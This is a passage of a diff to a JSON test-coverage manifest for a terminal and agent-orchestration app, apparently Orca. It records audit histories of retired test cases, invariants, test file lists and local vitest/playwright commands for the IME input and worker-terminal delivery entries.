tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts\"],\"testFiles\":[\"tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts\",\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\"src/shared/terminal/input/terminal-composer-draft.test.ts\",\"src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts\",\"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\"src/renderer/src/web/preload-api/preferences/web-preload-api-ui.test.ts\",\"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\"],\"assertionRefs\":[{\"file\":\"src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts\",\"assertions\":[\"real fcitx4 Sogou captures (GTK module and XIM) send only the committed candidate for Space and digit picks, under legacy keys and kitty flags 1 and 5\",\"a real fcitx4 Google Pinyin in-client preedit still commits through the composition path\",\"an XIM pick's code-less keydown pairs with its keyup so kitty event reporting sends one release per pick\"]},{\"file\":\"src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts\",\"assertions\":[\"Autorepeat cannot replace the first release sender.\"]},{\"file\":\"src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts\",\"assertions\":[\"a split live CSI interrupted by the production confirmed-shell reset leaves mirror and xterm at flags 0 on alt and 5 after exit\",\"repeated replay pushes cannot inflate the live stack: one live exit pop returns flags to zero\",\"a live push/pop after restoring nonzero snapshot metadata exhausts the mirror stack to numeric zero with undefined snapshot proof\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\",\"linux\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1361 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1320 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1301 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Focused tests cover existing native-text, input-source, paste/runtime forwarding, Linux/Sogou candidate selector, post-composition guard contracts, live-PTY Sogou-style candidate commits, and the Preview kitty slice (press/release pairing in both keyup orderings, and snapshot flag provenance separating a proven 0 from an absent field). Needs intentional-break proof for duplicate native text forwarding and composition preedit leakage, plus the broader language/platform matrix.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1361; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1320; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1301; any retained unchanged-source receipts apply only to their own commands. Historical account: Focused renderer input tests and the Electron/CDP Sogou-style repro are now registered; needs soak history and true platform IME evidence before promotion.\"},\"runtimeBudget\":{\"p95Seconds\":90,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Terminal input hot-path audit clean through 2026-08-29: candidate guards retain O(1) checks and bounded per-pane state. Xterm overlay reconciliation scans only the current row, bounded by terminal columns, retains at most three current DOM children, reuses one preedit-bounds layout read for the visual geometry and the textarea the OS samples, and cancels its single deferred timer on replacement and disposal. The candidate anchor adds no layout read of its own: it clamps from the inline width xterm just wrote. Orca's placeholder binding reads the bounded visible cursor context at composition start and on xterm render only while a session is active, retaining one active session id and one disposable render listener. Layout changes add one process-lifetime native listener, two singleton renderer subscriptions, one O(live windows) broadcast per OS event, and generation-fenced refreshes whose native helper read is deduplicated in flight. The paths are event-driven and add no polling, per-key IPC, SSH/remote transport work, unbounded queues, or retained terminal data.\"}}" ], "demotionRule": "Cannot promote if success is based only on DOM text without PTY byte/cell evidence." }, @@ -9929,7 +8851,7 @@ "id": "orchestration.worker-terminal-delivery", "title": "Workers remain visible and observable across workspace entry and app restart", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "orchestration", "layer": "cli-runtime-renderer-contract", "surfaces": [ @@ -9943,9 +8865,9 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"], - "coveredPlatforms": ["macos"], + "coveredPlatforms": [], "coveredProviders": [], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5912 deletes the complete federation acknowledgment migration suite. Its invented v26-schema default, migration-start and imported-cursor alarms are intentionally lost. The sole migration command, testFiles and assertionRef are retired. No equivalent replacement or fresh whole-gate pass is claimed. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. CLI ownership cleanup retires low-value test cases, including explicit-current no-read, legacy success/idempotent acceptance, and caller-pane routing examples. Retained refusal and recovery assertions are listed below; dated receipts keep their original scopes. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. The complete federation-lifecycle-settlement suite is removed, losing its fake remote settlement/protocol/acknowledgment examples. Its exact standalone command, testFiles entry and complete assertionRef are retired and prior fields archived. Existing receipts select unrelated migration and compiled CLI journeys and retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2923 accepts loss of the first/replayed attested legacy worker_done CLI acceptance alarms, including exact send parameters, sender pane proof, lifecycle-wait flag and minted mutation identity. The removed fixture supplied settled runtime verdicts; it did not execute settlement authority, durable replay or outage recovery. Reduced selectors have no new execution, fault-control or equivalent replacement credit. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions have no new execution or equivalent replacement credit. CLI command/orchestration owner cleanup intentionally retires three registrations selected by this gate: two mock-supplied lifecycle/Run-home rejection projection examples and the complete manually assembled JSON failure-envelope example. The JSON-envelope suite, its exact command token/testFiles entry and whole assertion reference are removed; the retired Run-home relay assertion is removed from the retained lifecycle suite. These boundary projection alarms are lost without equivalent replacement. Retained fail-closed settlement and mutation-recovery cases keep their own scope. Pure owner moves do not invalidate unrelated dated receipts, which retain their exact original bytes; no fresh reduced-selector execution, native or remote evidence is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. The retained worker-start-composition.test.ts loses its complete overlapping-first-starts-from-an-unbound-coordinator callback. That one-Run concurrency alarm is deliberately retired without equivalent replacement; its other six authored cases retain only their original scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5912 deletes the complete federation acknowledgment migration suite. Its invented v26-schema default, migration-start and imported-cursor alarms are intentionally lost. The sole migration command, testFiles and assertionRef are retired. No equivalent replacement or fresh whole-gate pass is claimed. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. CLI ownership cleanup retires low-value test cases, including explicit-current no-read, legacy success/idempotent acceptance, and caller-pane routing examples. Retained refusal and recovery assertions are listed below; dated receipts keep their original scopes. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. The complete federation-lifecycle-settlement suite is removed, losing its fake remote settlement/protocol/acknowledgment examples. Its exact standalone command, testFiles entry and complete assertionRef are retired and prior fields archived. Existing receipts select unrelated migration and compiled CLI journeys and retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2923 accepts loss of the first/replayed attested legacy worker_done CLI acceptance alarms, including exact send parameters, sender pane proof, lifecycle-wait flag and minted mutation identity. The removed fixture supplied settled runtime verdicts; it did not execute settlement authority, durable replay or outage recovery. Reduced selectors have no new execution, fault-control or equivalent replacement credit. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions have no new execution or equivalent replacement credit. CLI command/orchestration owner cleanup intentionally retires three registrations selected by this gate: two mock-supplied lifecycle/Run-home rejection projection examples and the complete manually assembled JSON failure-envelope example. The JSON-envelope suite, its exact command token/testFiles entry and whole assertion reference are removed; the retired Run-home relay assertion is removed from the retained lifecycle suite. These boundary projection alarms are lost without equivalent replacement. Retained fail-closed settlement and mutation-recovery cases keep their own scope. Pure owner moves do not invalidate unrelated dated receipts, which retain their exact original bytes; no fresh reduced-selector execution, native or remote evidence is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. The retained worker-start-composition.test.ts loses its complete overlapping-first-starts-from-an-unbound-coordinator callback. That one-Run concurrency alarm is deliberately retired without equivalent replacement; its other six authored cases retain only their original scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/11107#discussion_r3663321387", "https://github.com/stablyai/orca/issues/13858", @@ -9955,109 +8877,26 @@ "https://linear.app/stably/issue/STA-4022" ], "invariant": "Starting a worker in the coordinator's current workspace must materialize one inactive terminal tab before worker-start returns, preserve coordinator focus, and remain exactly once after workspace re-entry. After an app update or restart, an exact live legacy worker must fence automatic provider resume, adopt its original PTY into its original background pane, retain readable output, and clear the resume record without spawning, writing, signalling, interrupting, replacing, or focusing the worker. A current-contract worker whose renderer graph identity is temporarily absent must retain its Dispatch capability and settle exactly once from exact hook-attested handle, pane, and process evidence; otherwise only an exact attested coordinator may take over. A worker_done caller may report success only after the owning runtime returns an explicit lifecycle verdict or authoritative reads prove that the exact Task, Dispatch, and worker report receipt settled the expected outcome. Federated terminal settlement must remain replay-eligible until the worker durably acknowledges it, and identical same-outcome retries must converge idempotently. Independently updated clients and worker servers must preserve the negotiated protocol: current peers use Run-home lifecycle settlement, while protocol v1/v2 peers retain their legacy completion path without receiving newer-only fields. A federated worker may accept only the authority defined by its negotiated protocol. An exact existing target workspace must receive a discoverable tab without stealing coordinator focus; if renderer reveal fails, worker-start must expose that the live worker remains background-only. Run and Dispatch checks must resolve through the caller's stable pane identity when a terminal handle is reminted, while a live handle outranks mismatched pane metadata. A nested worker's creator edge requires the current creator pane, process incarnation, and owning Run generation; reminting and rebinding that pane to another Run must remove the stale edge. Explicit legacy terminal inspection remains handle-scoped, and remote or headless worker presentation remains background-only.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5912 deletes the complete federation acknowledgment migration suite. Its invented v26-schema default, migration-start and imported-cursor alarms are intentionally lost. The sole migration command, testFiles and assertionRef are retired. No equivalent replacement or fresh whole-gate pass is claimed. Complete prior oracle retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. The complete federation-lifecycle-settlement suite is removed, losing its fake remote settlement/protocol/acknowledgment examples. Its exact standalone command, testFiles entry and complete assertionRef are retired and prior fields archived. Existing receipts select unrelated migration and compiled CLI journeys and retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2923 accepts loss of the first/replayed attested legacy worker_done CLI acceptance alarms, including exact send parameters, sender pane proof, lifecycle-wait flag and minted mutation identity. The removed fixture supplied settled runtime verdicts; it did not execute settlement authority, durable replay or outage recovery. Reduced selectors have no new execution, fault-control or equivalent replacement credit. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Retained assertion references and unchanged receipts keep their original scopes; retired callbacks and archived receipts provide no current coverage.", - "commands": [ - "ORCA_BACKGROUND_LAUNCH=1 npx vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/cli/orchestration/orchestration.test.ts src/cli/orchestration/messages/orchestration-check-identity.test.ts src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts", - "pnpm run test:e2e -- tests/e2e/orchestration-worker-terminal-visibility.spec.ts --workers=1", - "pnpm run build:cli && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/orchestration-worker-settlement-release-cli.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts", - "src/main/runtime/construction/orca-runtime.test.ts", - "src/cli/orchestration/orchestration.test.ts", - "src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts", - "src/cli/orchestration/messages/orchestration-check-identity.test.ts", - "src/main/runtime/rpc/methods/orchestration/worker/start/worker-start-composition.test.ts", - "src/main/runtime/rpc/methods/orchestration/messaging/check.test.ts", - "src/main/runtime/rpc/methods/orchestration/messaging/send.test.ts", - "src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts", - "tests/e2e/orchestration-worker-terminal-visibility.spec.ts", - "tests/e2e/orchestration-worker-settlement-release-cli.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/main/runtime/rpc/methods/orchestration/messaging/check-worker-federated-attachment.test.ts", - "assertions": [ - "replays the coordinator instruction and takes its ack after the app restarts", - "files loopback mail once under the local Dispatch Run without replacing its owner" - ] - }, - { - "file": "src/cli/orchestration/recovery/orchestration-lifecycle-rejection.test.ts", - "assertions": [ - "a worker_done response without a lifecycle verdict fails closed when authoritative Dispatch and report state cannot confirm settlement", - "a terminal Dispatch with a 